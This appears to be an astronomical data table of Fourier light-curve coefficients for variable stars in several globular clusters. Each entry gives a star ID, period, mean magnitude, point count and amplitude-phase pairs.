0.0361 1.8768 0.0217 4.8574 0.0108 1.5221 0.0055 4.3061 0.0034 0.7337
0.0022 3.6322 0.0011 0.6202 0.0007 5.2007 0.0017 2.5209 0.0024 5.6635
M5 V19
0.4699180000 0.0000 15.176 270 0.0300
0.4855 5.8218 0.2046 1.3971 0.1531 3.2950 0.1089 5.4125 0.0797 1.1838
0.0613 3.3087 0.0416 5.5134 0.0302 1.3891 0.0174 3.4264 0.0128 5.2706
0.0119 1.0276 0.0101 3.3221 0.0059 5.5912 0.0034 0.9456 0.0036 2.8710
M5 V20
0.6095510000 0.0000 15.059 272 0.0258
0.3187 4.7751 0.1610 5.7656 0.1016 0.7428 0.0615 2.2715 0.0323 3.5971
0.0209 4.6524 0.0084 6.1314 0.0031 2.2926 0.0044 4.4260 0.0054 5.8369
0.0060 0.8357 0.0065 2.1106 0.0068 3.4064 0.0067 4.7178 0.0064 6.0320
M5 V21
0.6048960000 0.0000 15.043 275 0.0120
0.3310 2.8505 0.1790 1.9069 0.1142 1.2115 0.0694 0.6728 0.0362 0.0427
0.0185 5.3408 0.0095 4.9791 0.0052 5.0050 0.0041 5.2151 0.0047 5.0539
0.0052 4.5177 0.0051 3.8126 0.0047 3.0510 0.0042 2.3084 0.0036 1.6386
M5 V28
0.5438650000 0.0000 15.125 275 0.0201
0.3199 4.8673 0.1576 5.8060 0.1055 0.8217 0.0648 2.1479 0.0375 3.5770
0.0147 4.8513 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000
0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000
M5 V29
0.4513320000 0.0000 15.165 265 0.0138
0.3593 5.9633 0.1311 1.5951 0.0627 3.5386 0.0262 5.0603 0.0180 0.6210
0.0122 2.3934 0.0093 4.4563 0.0047 0.2969 0.0027 1.6277 0.0034 3.5847
0.0025 5.9900 0.0008 1.7962 0.0009 2.5779 0.0012 4.9032 0.0007 1.0132
M5 V30
0.5922070000 0.0000 15.094 101 0.0094
0.2769 4.5570 0.1369 5.2568 0.0980 0.1042 0.0579 1.2324 0.0306 2.4930
0.0165 3.5274 0.0078 4.4726 0.0036 6.1271 0.0048 1.8103 0.0064 3.0907
0.0065 4.1919 0.0056 5.2186 0.0044 6.1844 0.0033 0.8194 0.0025 1.7386
M5 V32
0.4577970000 0.0000 15.148 274 0.0104
0.4505 1.4036 0.2078 5.0440 0.1573 2.6321 0.1029 0.3693 0.0700 4.3512
0.0502 2.0992 0.0318 6.1112 0.0204 3.7677 0.0144 1.3557 0.0114 5.2241
0.0096 2.8586 0.0080 0.5446 0.0064 4.5496 0.0048 2.2950 0.0034 0.0612
M5 V34
0.5681190000 0.0000 15.075 263 0.0218
0.2884 0.4814 0.1338 3.2490 0.0990 0.1996 0.0578 3.6277 0.0312 0.5885
0.0162 3.8180 0.0058 0.7489 0.0022 4.9944 0.0043 2.6061 0.0058 5.8904
0.0062 2.8415 0.0058 6.0760 0.0050 3.0286 0.0041 6.2581 0.0034 3.1915
M5 V38
0.4704370000 0.0000 15.129 236 0.0220
0.3413 2.5290 0.1504 1.2720 0.0833 0.2184 0.0537 5.6020 0.0294 4.5139
0.0199 3.3769 0.0148 2.3898 0.0100 1.5123 0.0055 0.6447 0.0018 5.7704
0.0016 3.1635 0.0029 2.0908 0.0033 1.3069 0.0028 0.5988 0.0019 6.2554
M5 V39
0.5890350000 0.0000 14.999 237 0.0106
0.3892 0.4170 0.2037 3.2638 0.1295 0.1426 0.0932 3.3379 0.0534 0.3717
0.0300 3.3486 0.0214 0.1437 0.0143 3.2929 0.0078 0.1837 0.0028 3.4822
0.0011 2.2192 0.0027 5.8567 0.0034 2.6808 0.0034 5.7046 0.0030 2.4080
M5 V43
0.6601770000 0.0000 15.042 243 0.0088
0.2251 3.2338 0.1020 2.8338 0.0598 2.6839 0.0254 2.7889 0.0105 2.9216
0.0066 3.1790 0.0067 3.5642 0.0078 3.5116 0.0075 3.4196 0.0062 3.3195
0.0049 3.1677 0.0039 2.9546 0.0032 2.7270 0.0026 2.5300 0.0020 2.3595
M5 V45
0.6166320000 0.0000 15.009 133 0.0207
0.3253 5.6882 0.1731 1.2289 0.1152 3.5124 0.0737 5.6984 0.0468 1.5357
0.0285 3.5984 0.0162 5.6533 0.0080 1.4838 0.0029 3.9229 0.0021 1.1989
0.0036 3.7041 0.0043 5.8570 0.0042 1.6649 0.0036 3.7485 0.0028 5.8604
M5 V47
0.5397390000 0.0000 15.145 134 0.0229
0.3460 6.1634 0.1572 2.0629 0.1242 4.6051 0.0827 0.9388 0.0525 3.6704
0.0333 6.2649 0.0210 2.4500 0.0134 4.8257 0.0086 0.8653 0.0054 3.1572
0.0029 5.3530 0.0014 0.7631 0.0019 2.1734 0.0029 4.3401 0.0036 0.4560
M5 V52
0.5017850000 0.0000 15.005 134 0.0228
0.3991 2.4126 0.1838 0.8144 0.0858 5.6386 0.0412 3.8224 0.0379 1.9453
0.0260 0.7015 0.0119 5.0760 0.0153 2.9899 0.0160 1.5863 0.0113 0.1438
0.0071 4.6515 0.0057 2.7479 0.0046 0.9518 0.0037 5.2925 0.0037 3.3767
M5 V56
0.5348490000 0.0000 15.135 240 0.0109
0.2537 6.2668 0.0986 2.3364 0.0557 5.3493 0.0249 2.2683 0.0150 5.5367
0.0073 2.8763 0.0078 6.0436 0.0045 2.1519 0.0032 4.6403 0.0029 1.3590
0.0027 4.4059 0.0022 1.0516 0.0015 3.9564 0.0011 0.6380 0.0009 3.6133
M5 V59
0.5420270000 0.0000 14.991 274 0.0153
0.3240 6.2617 0.1642 2.2856 0.1125 4.9853 0.0770 1.3794 0.0460 4.1745
0.0249 0.5586 0.0152 3.0488 0.0097 5.7187 0.0053 2.3404 0.0027 5.6532
0.0025 2.9368 0.0032 5.9848 0.0037 2.4944 0.0040 5.2217 0.0041 1.6591
M5 V61
0.5686470000 0.0000 15.095 274 0.0101
0.3122 0.8746 0.1570 4.1406 0.1066 1.4941 0.0680 5.1606 0.0366 2.6230
0.0192 6.1722 0.0106 3.5396 0.0056 1.1451 0.0033 5.4561 0.0034 3.5389
0.0041 1.2094 0.0044 4.9519 0.0045 2.3133 0.0044 5.9024 0.0042 3.1787
M5 V64
0.5444920000 0.0000 15.133 240 0.0101
0.3382 6.2089 0.1698 2.1967 0.1238 4.7968 0.0804 1.1645 0.0512 3.9598
0.0325 0.4273 0.0206 2.9383 0.0157 5.3968 0.0104 1.9207 0.0080 4.6713
0.0041 0.9797 0.0024 3.4405 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000
M5 V75
0.6854710000 0.0000 15.002 137 0.0111
0.2088 1.1295 0.0920 4.9546 0.0471 2.7441 0.0175 0.8722 0.0091 5.6677
0.0099 4.0216 0.0069 1.6177 0.0070 5.7577 0.0063 3.9996 0.0043 1.4973
0.0040 5.5726 0.0031 3.7573 0.0033 1.2768 0.0018 5.3313 0.0019 2.1901
M5 V77
0.8452610000 0.0000 14.773 273 0.0099
0.2324 4.8288 0.0944 0.0590 0.0394 2.0334 0.0190 4.0547 0.0119 6.2330
0.0108 1.9309 0.0099 3.6102 0.0082 5.1408 0.0061 0.3258 0.0041 1.7958
0.0026 3.3654 0.0017 5.1819 0.0015 0.8609 0.0015 2.5954 0.0013 4.1049
M5 V81
0.5572920000 0.0000 15.091 272 0.0200
0.3141 1.0147 0.1588 4.3528 0.1125 1.8491 0.0695 5.6250 0.0420 3.0914
0.0245 0.5238 0.0131 4.2469 0.0059 1.7995 0.0022 0.0436 0.0032 4.8438
0.0049 2.4679 0.0058 6.2129 0.0061 3.6451 0.0060 1.0793 0.0056 4.8107
M5 V82
0.5589270000 0.0000 15.058 125 0.0214
0.2991 0.4023 0.1617 3.2830 0.1135 0.1290 0.0685 3.3918 0.0394 0.2932
0.0227 3.5117 0.0132 0.5393 0.0080 4.0022 0.0057 1.3244 0.0051 4.9068
0.0048 2.0932 0.0046 5.4997 0.0042 2.6206 0.0039 6.0520 0.0038 3.2128
M5 V87
0.7392100000 0.0000 14.922 270 0.0069
0.1498 1.1001 0.0535 5.0502 0.0201 3.0278 0.0074 1.4769 0.0068 0.0738
0.0031 3.5032 0.0052 1.8439 0.0019 5.8333 0.0015 3.0156 0.0011 0.7366
0.0008 4.4924 0.0020 4.1917 0.0007 1.5445 0.0017 5.3201 0.0005 4.5176
M5 V89
0.5584540000 0.0000 15.120 259 0.0256
0.3157 2.1510 0.1546 0.2552 0.1199 5.1342 0.0708 3.8139 0.0395 2.2854
0.0229 0.7677 0.0124 5.6061 0.0056 4.2762 0.0017 3.5280 0.0022 3.5083
0.0034 2.2885 0.0041 0.8636 0.0044 5.6852 0.0045 4.2301 0.0044 2.7967
M5 V27
0.4703360000 0.0000 15.054 260 0.0251
0.4099 0.8144 0.1941 3.5989 0.1495 0.6548 0.0800 4.0561 0.0486 0.9972
0.0284 4.1920 0.0147 1.1271 0.0064 4.3899 0.0019 1.3899 0.0001 4.7066
0.0004 0.2619 0.0013 3.9751 0.0022 1.0656 0.0027 4.3491 0.0026 1.3639
M5 V33
0.5014770000 0.0000 15.133 260 0.0146
0.3938 4.8828 0.1821 5.7408 0.1397 0.6006 0.0944 1.8337 0.0671 3.0320
0.0431 4.3216 0.0257 5.5949 0.0135 0.3752 0.0112 1.3880 0.0076 2.8500
0.0041 4.4349 0.0020 0.3384 0.0008 2.6614 0.0015 4.4283 0.0011 0.1349
M5 V83
0.5532900000 0.0000 15.125 116 0.0206
0.2984 1.7035 0.1523 5.6638 0.1022 3.9309 0.0653 2.1010 0.0395 0.2680
0.0220 4.7466 0.0110 3.0327 0.0054 1.5350 0.0037 0.2744 0.0037 5.0018
0.0036 3.3770 0.0043 1.6577 0.0042 6.1238 0.0039 4.3398 0.0033 2.4989
M5 V91
0.6013850000 0.0000 15.003 250 0.0302
0.3927 4.3209 0.2073 4.8151 0.1361 5.5215 0.0955 0.2462 0.0528 1.0413
0.0306 1.6963 0.0246 2.5236 0.0146 3.4465 0.0090 4.1364 0.0028 4.2496
0.0041 0.3537 0.0044 1.5016 0.0037 2.6339 0.0021 2.9153 0.0031 5.2479
M9 V1
0.5857280000 0.0000 16.233 132 0.0160
0.4052 0.4556 0.1902 3.1878 0.1387 0.0342 0.0926 3.0927 0.0637 0.0258
0.0313 3.3038 0.0140 6.1700 0.0093 2.6606 0.0066 5.6276 0.0040 2.5175
0.0021 6.0791 0.0019 3.7868 0.0025 1.0083 0.0028 4.2116 0.0028 1.0328
M9 V4
0.6713300000 0.0000 16.084 164 0.0214
0.3210 4.5307 0.1695 5.1747 0.1003 6.0745 0.0718 1.0077 0.0322 2.0049
0.0138 2.5097 0.0095 3.6734 0.0045 5.1446 0.0020 1.2677 0.0029 3.2066
0.0028 4.4548 0.0016 5.4455 0.0007 5.3711 0.0015 5.4599 0.0021 0.1456
M9 V6
0.6077950000 0.0000 16.199 163 0.0274
0.3314 0.4608 0.1589 3.2022 0.1153 6.2317 0.0821 3.0010 0.0511 6.2773
0.0241 3.2001 0.0147 5.7215 0.0143 2.4291 0.0112 5.6747 0.0066 2.6015
0.0025 5.4384 0.0021 0.8021 0.0035 3.6255 0.0037 0.4442 0.0031 3.5523
M55 V1
0.5799780000 0.0000 14.446 744 0.0141
0.4394 4.8053 0.2104 5.6259 0.1478 0.5352 0.0983 1.6519 0.0704 2.9369
0.0413 4.2560 0.0264 5.2459 0.0203 0.0039 0.0153 1.2007 0.0106 2.4759
0.0067 3.7787 0.0040 5.0876 0.0024 0.1229 0.0015 1.4897 0.0012 2.9447
M55 V3
0.6619870000 0.0000 14.316 762 0.0125
0.3584 2.2442 0.1443 0.6548 0.0664 5.4540 0.0311 4.1698 0.0124 2.5035
0.0080 0.9961 0.0040 5.2076 0.0022 3.3649 0.0014 1.5645 0.0012 5.9050
0.0015 4.1065 0.0018 2.6525 0.0015 1.3901 0.0008 0.3537 0.0004 0.7776
M55 V7
0.6825730000 0.0000 14.304 681 0.0177
0.3453 2.2399 0.1855 0.7535 0.1183 5.7427 0.0720 4.7073 0.0339 3.4214
0.0230 1.8926 0.0122 1.0226 0.0057 0.3277 0.0029 6.0363 0.0027 5.2620
0.0035 4.0601 0.0045 2.7810 0.0051 1.5249 0.0049 0.2780 0.0042 5.3026
M55 V8
0.7219610000 0.0000 14.383 720 0.0144
0.2477 0.1033 0.1028 2.9060 0.0546 5.9606 0.0207 2.6637 0.0080 6.0462
0.0030 3.2395 0.0033 1.4701 0.0042 4.2614 0.0039 0.6673 0.0029 3.4124
0.0018 6.2539 0.0011 3.2255 0.0014 0.4103 0.0020 3.4664 0.0021 0.0578
M68 V14
0.5568000000 0.0000 15.731 117 0.0171
0.4213 0.2430 0.1546 2.8492 0.1170 5.5152 0.0706 2.0283 0.0445 4.7338
0.0290 1.0075 0.0228 3.6179 0.0181 0.1049 0.0119 2.7306 0.0093 5.6632
0.0061 2.0383 0.0057 4.7881 0.0031 0.9186 0.0035 4.1899 0.0019 0.7005
M68 V22
0.5634400000 0.0000 15.624 112 0.0158
0.4028 3.4272 0.1572 2.8381 0.1032 2.4201 0.0840 2.1356 0.0596 1.8230
0.0465 1.5839 0.0330 1.4957 0.0227 1.2522 0.0179 1.1063 0.0113 0.7689
0.0073 0.3112 0.0055 0.1886 0.0041 6.0119 0.0041 6.2046 0.0029 5.6539
M68 V23
0.6589200000 0.0000 15.610 117 0.0089
0.3368 5.6910 0.1600 1.1482 0.1196 3.2521 0.0793 5.3990 0.0511 1.3617
0.0271 3.5324 0.0156 5.5418 0.0092 1.2783 0.0050 3.6992 0.0029 1.1376
0.0033 3.2965 0.0039 6.0629 0.0046 1.5674 0.0030 3.5570 0.0044 5.7536
M68 V30
0.7336400000 0.0000 15.616 117 0.0076
0.1649 2.8543 0.0589 1.9729 0.0279 1.3549 0.0110 1.2557 0.0056 1.4860
0.0041 1.3893 0.0028 0.8541 0.0018 0.1119 0.0011 5.7620 0.0005 5.6793
0.0004 6.2644 0.0004 6.1034 0.0002 5.7265 0.0001 0.8957 0.0002 3.7227
M68 V35
0.7025000000 0.0000 15.569 109 0.0194
0.3300 0.2275 0.1664 2.9282 0.1159 5.8876 0.0715 2.6749 0.0432 5.7123
0.0251 2.4433 0.0137 5.4519 0.0068 2.2152 0.0032 5.4721 0.0022 2.7667
0.0025 6.1590 0.0032 2.9266 0.0036 5.9023 0.0036 2.6126 0.0033 5.6656
M92 V1
0.7028180000 0.0000 15.106 75 0.0084
0.3076 3.7970 0.1456 3.6778 0.0938 3.8710 0.0580 4.4223 0.0277 4.8338
0.0153 4.9616 0.0113 5.3737 0.0057 0.1860 0.0028 1.1622 0.0039 1.2661
0.0020 1.3601 0.0027 2.5413 0.0026 2.3408 0.0011 3.1467 0.0019 3.8975
M92 V3
0.6374751000 0.0000 15.176 74 0.0039
0.3833 0.0584 0.1723 2.4127 0.1305 5.0212 0.0972 1.4485 0.0630 4.2415
0.0368 0.8750 0.0182 3.1755 0.0151 5.8152 0.0128 2.2389 0.0086 5.2295
0.0041 1.8363 0.0009 5.1755 0.0013 0.2056 0.0007 2.3820 0.0013 1.5090
M92 V4
0.6289128000 0.0000 15.096 75 0.0140
0.3143 3.5233 0.1438 3.0821 0.1164 2.8115 0.0655 2.6281 0.0407 2.5312
0.0252 2.4755 0.0147 2.4648 0.0079 2.5015 0.0036 2.7148 0.0018 3.3768
0.0017 4.1023 0.0019 4.1506 0.0020 4.0355 0.0020 3.4032 0.0016 3.0158
M92 V5
0.6196963000 0.0000 15.181 73 0.0157
0.3610 2.1377 0.1393 0.2605 0.1153 4.9190 0.0697 3.3477 0.0463 1.8256
0.0279 0.4439 0.0147 5.4208 0.0066 4.1207 0.0027 2.6200 0.0019 0.7759
0.0022 5.6143 0.0022 4.4227 0.0019 3.2410 0.0014 1.9097 0.0011 0.2084
M92 V6
0.5999990000 0.0000 15.129 50 0.0133
0.3931 0.4596 0.1754 3.3005 0.1035 0.1428 0.0752 2.9293 0.0618 6.2477
0.0380 3.2047 0.0217 6.2239 0.0157 3.2523 0.0078 6.1763 0.0016 1.8611
0.0022 6.2496 0.0004 4.3932 0.0013 2.4238 0.0011 5.4645 0.0007 2.3730
M92 V8
0.6732614000 0.0000 15.137 72 0.0074
0.2521 6.1197 0.1126 1.8878 0.0793 4.2802 0.0380 0.3525 0.0163 2.7875
0.0064 5.3442 0.0032 1.4771 0.0024 3.8045 0.0018 0.4153 0.0014 3.5425
0.0009 5.7747 0.0011 0.9396 0.0010 3.5336 0.0002 0.1515 0.0004 6.2767
M107 V8
0.5599210000 0.0000 15.653 151 0.0200
0.3563 2.8736 0.1880 1.8788 0.1289 1.2505 0.0770 0.7413 0.0382 0.0570
0.0198 5.4902 0.0120 4.5863 0.0077 3.7675 0.0043 3.0170 0.0016 2.1038
0.0011 5.7505 0.0025 4.7877 0.0034 4.1324 0.0036 3.5106 0.0034 2.8774
M107 V10
0.4155170000 0.0000 15.819 140 0.0249
0.3502 0.2891 0.1782 2.5212 0.1548 5.4639 0.0794 2.1633 0.0513 4.8212
0.0367 1.2855 0.0262 4.1169 0.0183 0.6967 0.0125 3.5559 0.0085 0.1032
0.0059 2.8913 0.0043 5.6485 0.0034 2.1357 0.0028 4.9674 0.0023 1.6019
M107 V12
0.4728750000 0.0000 15.747 125 0.0185
0.3323 2.3273 0.1007 0.7574 0.0217 0.0162 0.0138 6.2006 0.0138 5.8068
0.0136 4.5427 0.0112 3.3430 0.0066 2.4177 0.0030 2.1231 0.0029 1.9199
0.0022 0.9008 0.0011 5.3410 0.0012 3.0993 0.0012 1.2653 0.0012 5.6612
M107 V14
0.4816129000 0.0000 15.773 120 0.0111
0.4357 4.3204 0.2333 4.6195 0.1515 5.3154 0.0980 5.8761 0.0622 0.3718
0.0359 0.9661 0.0299 1.3956 0.0315 1.9409 0.0239 2.4315 0.0144 2.9547
0.0086 3.3531 0.0046 4.5017 0.0058 5.1259 0.0048 5.9567 0.0025 5.9224
M107 V17
0.5611700000 0.0000 15.652 116 0.0229
0.3475 2.1446 0.1910 0.4744 0.1255 5.3621 0.0827 4.0852 0.0470 2.7650
0.0311 1.2018 0.0207 6.1642 0.0115 4.8035 0.0000 0.0000 0.0000 0.0000
0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000
M107 V18
0.5643780000 0.0000 15.775 52 0.0102
0.2930 1.1441 0.1443 4.9210 0.0936 2.6730 0.0555 0.5852 0.0222 4.5570
0.0080 1.9958 0.0035 0.7128 0.0053 5.7432 0.0067 3.7128 0.0068 1.4863
0.0066 5.4729 0.0063 3.1760 0.0059 0.9169 0.0055 4.9821 0.0049 2.7877
M107 V20
0.5781113000 0.0000 15.777 119 0.0151
0.2799 0.2572 0.1449 3.0611 0.0866 6.2074 0.0516 3.1390 0.0198 0.0954
0.0139 3.3119 0.0060 0.8955 0.0076 4.7568 0.0091 1.6638 0.0089 4.7377
0.0076 1.5128 0.0060 4.5681 0.0048 1.3393 0.0040 4.4043 0.0036 1.2120
N1851 V1
0.5205888000 0.0000 16.132 113 0.0144
0.4473 2.6011 0.2208 1.2218 0.1557 0.2172 0.0997 5.4404 0.0765 4.4969
0.0494 3.5758 0.0277 2.4583 0.0235 1.2194 0.0180 0.2391 0.0120 5.6400
0.0075 4.8363 0.0049 3.6176 0.0038 1.9653 0.0016 0.5590 0.0024 3.3999
N1851 V6
0.6066231000 0.0000 16.123 113 0.0188
0.2970 0.2921 0.1557 3.1041 0.0959 6.2037 0.0521 3.1373 0.0227 0.0076
0.0123 2.7021 0.0071 5.8168 0.0028 3.3931 0.0034 1.7060 0.0050 5.2343
0.0053 2.2228 0.0047 5.3682 0.0038 2.0818 0.0032 4.9085 0.0032 1.4114
N1851 V7
0.5851851000 0.0000 16.095 108 0.0104
0.3627 0.6786 0.1890 3.7666 0.1206 0.9217 0.0844 4.3580 0.0463 1.6432
0.0229 5.0215 0.0127 1.9594 0.0098 5.6668 0.0018 2.8663 0.0022 1.7879
0.0046 0.5828 0.0023 3.8220 0.0040 0.4794 0.0032 3.7021 0.0050 1.1922
N1851 V12
0.5759556000 0.0000 16.156 111 0.0125
0.3216 0.7394 0.1611 3.9304 0.1064 1.1446 0.0699 4.6935 0.0374 2.0788
0.0153 5.3634 0.0089 2.5378 0.0034 0.4650 0.0043 5.3674 0.0058 2.8798
0.0054 0.1403 0.0043 3.5582 0.0034 0.6169 0.0031 4.0265 0.0032 1.3186
N1851 V16
0.4886849000 0.0000 16.195 110 0.0293
0.4360 3.2109 0.2048 2.4717 0.1358 1.8961 0.0709 1.3289 0.0444 0.9384
0.0270 0.5386 0.0146 0.0527 0.0068 5.6035 0.0041 4.3722 0.0045 3.4478
0.0045 2.9702 0.0038 2.7103 0.0030 2.6396 0.0025 2.7106 0.0023 2.7367
N5466 V3
0.5780645000 0.0000 16.581 86 0.0228
0.3840 6.1330 0.1756 1.8372 0.1420 4.3355 0.0953 0.4318 0.0608 3.0076
0.0389 5.4860 0.0249 1.5743 0.0162 3.8628 0.0110 6.1103 0.0076 2.0885
0.0051 4.4077 0.0030 0.5370 0.0012 3.1942 0.0007 1.0782 0.0017 4.1249
N5466 V8
0.6291182000 0.0000 16.558 89 0.0141
0.3349 6.0850 0.1542 1.8821 0.1112 4.3525 0.0731 0.5114 0.0443 3.1667
0.0233 5.6933 0.0104 1.8706 0.0036 4.2266 0.0007 6.1415 0.0002 6.2224
0.0008 0.8284 0.0019 3.0318 0.0029 5.4766 0.0035 1.7118 0.0036 4.2625
N5466 V9
0.6850366000 0.0000 16.483 90 0.0188
0.3382 0.5031 0.1697 3.4543 0.1123 0.4164 0.0739 3.7486 0.0372 0.7540
0.0192 4.0101 0.0113 1.0198 0.0060 4.4955 0.0031 2.1638 0.0031 0.0554
0.0039 3.7109 0.0041 0.8683 0.0039 4.2354 0.0034 1.2788 0.0028 4.5658
N5466 V10
0.7092782000 0.0000 16.465 89 0.0130
0.3085 5.8359 0.1560 1.6702 0.1004 4.0392 0.0595 0.3188 0.0248 2.6542
0.0095 4.9384 0.0038 1.2687 0.0030 4.5632 0.0041 1.1263 0.0047 3.7226
0.0045 6.2809 0.0039 2.5595 0.0032 5.1215 0.0025 1.3696 0.0020 3.8251
N5466 V14
0.7858557000 0.0000 16.408 90 0.0133
0.2401 4.4413 0.1114 5.3259 0.0643 0.2223 0.0223 1.3131 0.0084 2.9592
0.0074 4.7344 0.0075 5.9992 0.0065 0.8338 0.0052 1.9491 0.0040 3.1146
0.0033 4.3199 0.0029 5.4854 0.0026 0.2628 0.0022 1.2071 0.0016 2.0176
N6362 V254
0.5328880000 0.0000 15.219 97 0.0222
0.3832 3.5028 0.1935 3.0749 0.1064 2.9631 0.0730 2.9360 0.0388 2.8766
0.0232 2.6195 0.0175 2.3588 0.0143 2.2516 0.0112 2.2681 0.0081 2.3634
0.0055 2.5085 0.0036 2.6576 0.0022 2.6897 0.0014 2.3179 0.0016 1.6618
N6362 V329
0.4558900000 0.0000 15.379 97 0.0238
0.4411 1.6641 0.2115 5.5706 0.1543 3.5100 0.1007 1.4782 0.0728 5.7622
0.0521 3.7992 0.0361 1.8349 0.0243 6.1270 0.0160 4.0880 0.0106 1.9883
0.0075 6.1328 0.0057 4.0258 0.0046 2.0186 0.0037 0.1365 0.0030 4.6607
N6362 V377
0.5256700000 0.0000 15.331 87 0.0128
0.3597 0.0735 0.1849 2.5438 0.1231 5.3487 0.0824 1.8576 0.0471 4.7338
0.0258 1.2786 0.0133 4.0456 0.0059 0.4549 0.0014 2.8112 0.0019 3.2374
0.0038 5.7938 0.0050 2.2156 0.0057 4.9602 0.0059 1.4431 0.0057 4.2230
N6362 V424
0.5945060000 0.0000 15.345 98 0.0126
0.2203 3.2038 0.0963 2.7012 0.0539 2.5090 0.0214 2.6725 0.0077 3.3662
0.0076 3.5073 0.0077 3.8771 0.0051 3.3042 0.0000 0.0000 0.0000 0.0000
0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000
N6981 V159
0.6738650000 0.0000 16.658 69 0.0188
0.3801 1.7717 0.1988 6.2195 0.1332 4.3662 0.0772 2.8497 0.0462 1.2347
0.0278 5.8179 0.0165 4.0416 0.0097 2.1918 0.0056 0.2861 0.0030 4.6320
0.0010 2.5213 0.0009 4.7014 0.0023 2.6783 0.0033 0.8842 0.0039 5.4105
N6981 V263
0.5581700000 0.0000 16.910 69 0.0175
0.3180 0.3061 0.1406 2.9436 0.1210 5.8813 0.0687 2.7562 0.0382 5.8815
0.0206 2.6854 0.0103 5.7870 0.0045 2.7514 0.0022 0.2293 0.0023 3.9772
0.0027 0.8891 0.0027 3.8954 0.0025 0.5556 0.0022 3.4846 0.0020 0.1499
N6981 V307
0.5311640000 0.0000 16.975 69 0.0175
0.3592 2.1785 0.1683 0.2840 0.1230 5.0787 0.0798 3.5817 0.0508 2.2841
0.0310 0.8657 0.0174 5.6035 0.0090 3.8891 0.0050 1.9078 0.0039 6.1439
0.0037 4.3821 0.0033 2.8379 0.0029 1.4002 0.0026 6.2690 0.0023 4.8011
IC4499 V34
0.4935580000 0.0000 17.727 73 0.0204
0.4561 5.1529 0.1920 0.0056 0.1538 1.2884 0.1054 2.8600 0.0739 4.3423
0.0527 5.8242 0.0377 1.0265 0.0268 2.5080 0.0189 3.9771 0.0131 5.4248
0.0090 0.5592 0.0062 1.9428 0.0044 3.3048 0.0033 4.6835 0.0026 6.1295
IC4499 V2
0.4936360000 0.0000 17.742 113 0.0317
0.4547 4.4339 0.1958 4.9000 0.1538 5.4906 0.1030 0.0116 0.0700 0.6508
0.0487 1.5558 0.0370 2.2826 0.0316 3.2437 0.0196 4.2664 0.0129 4.8438
0.0149 5.7456 0.0138 0.7308 0.0100 1.8371 0.0088 2.6296 0.0090 3.6379
IC4499 V27
0.5067600000 0.0000 17.763 105 0.0209
0.4284 3.5673 0.1754 3.1116 0.1346 2.9884 0.1051 2.8787 0.0611 2.6855
0.0458 2.7680 0.0256 2.7850 0.0146 2.7736 0.0094 2.7401 0.0064 2.6908
0.0041 2.6200 0.0022 2.4725 0.0009 1.9145 0.0009 0.7111 0.0013 0.4428
IC4499 V88
0.5725610600 0.0000 17.589 67 0.0163
0.4468 2.3479 0.2160 0.7459 0.1539 5.7292 0.1078 4.3554 0.0838 3.0685
0.0513 2.0674 0.0318 0.6793 0.0206 5.5704 0.0125 4.3078 0.0071 3.1391
0.0044 1.9925 0.0036 0.7895 0.0036 5.8508 0.0037 4.6681 0.0031 3.5323
IC4499 V45
0.6058940000 0.0000 17.716 62 0.0124
0.2573 1.3746 0.1143 5.1279 0.0727 2.9101 0.0493 0.7834 0.0177 4.9107
0.0102 1.8698 0.0099 6.2311 0.0045 4.1578 0.0048 3.0593 0.0000 0.0000
0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000 0.0000
IC4499 V64
0.6361450000 0.0000 17.657 61 0.0108
0.2654 4.1521 0.1337 4.4876 0.0769 5.1235 0.0441 5.8305 0.0235 0.3679
0.0116 1.3488 0.0062 2.6210 0.0052 3.8882 0.0049 4.7764 0.0044 5.4115
0.0039 5.9163 0.0034 0.1084 0.0028 0.6246 0.0020 1.1993 0.0011 1.8239
oCen V74
0.7729000000 0.0000 14.460 210 0.0093
0.2503 4.6284 0.1154 5.7562 0.0661 0.8530 0.0265 2.2493 0.0131 3.7943
0.0065 5.5896 0.0057 1.2957 0.0064 2.8236 0.0065 4.1092 0.0058 5.3306
0.0047 0.2777 0.0035 1.5652 0.0026 2.9437 0.0021 4.3899 0.0017 5.8012
oCen V77
0.5644000000 0.0000 14.754 222 0.0267
0.3601 5.1312 0.1850 0.1344 0.1168 1.6551 0.0670 3.3091 0.0345 4.9652
0.0165 0.4166 0.0076 2.4277 0.0055 4.7697 0.0062 0.4737 0.0064 2.1776
0.0059 3.8035 0.0049 5.4522 0.0036 0.9535 0.0027 3.0520 0.0032 5.2471
oCen V82
0.6204000000 0.0000 14.603 223 0.0183
0.4091 1.1616 0.2057 4.6827 0.1393 2.2744 0.1012 6.1605 0.0608 3.8129
0.0322 1.2619 0.0235 4.8856 0.0194 2.5421 0.0098 0.2896 0.0027 4.3865
0.0035 1.8461 0.0026 5.5759 0.0016 4.9832 0.0014 1.8632 0.0019 0.1505
oCen V85
0.5032000000 0.0000 14.702 227 0.0114
0.4649 0.1723 0.2052 2.5589 0.1537 5.1998 0.0977 1.7281 0.0681 4.4832
0.0501 1.0414 0.0306 3.8983 0.0182 0.3117 0.0113 2.8855 0.0093 5.5769
0.0093 2.1434 0.0052 5.0141 0.0041 2.1374 0.0027 5.1023 0.0018 0.7706
oCen V87
0.7130402880 0.0000 14.630 211 0.0194
0.3303 5.7206 0.1748 1.4760 0.1107 3.7000 0.0571 6.0938 0.0312 2.0910
0.0182 4.3646 0.0112 0.4223 0.0073 2.9020 0.0055 5.5406 0.0051 1.9106
0.0053 4.4358 0.0053 0.5597 0.0050 2.8888 0.0043 5.1585 0.0035 1.0851
oCen V88
0.5675461340 0.0000 14.764 145 0.0102
0.3445 6.2597 0.1772 2.3678 0.1164 5.0917 0.0774 1.6325 0.0451 4.4352
0.0243 0.8295 0.0145 3.3287 0.0106 0.0806 0.0051 3.0128 0.0028 0.3301
0.0026 2.9980 0.0023 0.4420 0.0026 2.4427 0.0048 6.2249 0.0025 2.3014
oCen V89
0.6304709110 0.0000 14.609 367 0.0354
0.3980 4.3673 0.1963 4.7972 0.1321 5.5658 0.0914 0.0668 0.0615 0.9659
0.0414 1.7406 0.0280 2.4377 0.0188 3.1201 0.0120 3.8396 0.0069 4.6506
0.0031 5.7217 0.0018 1.3070 0.0026 2.7511 0.0029 3.6598 0.0026 4.3725
oCen V90
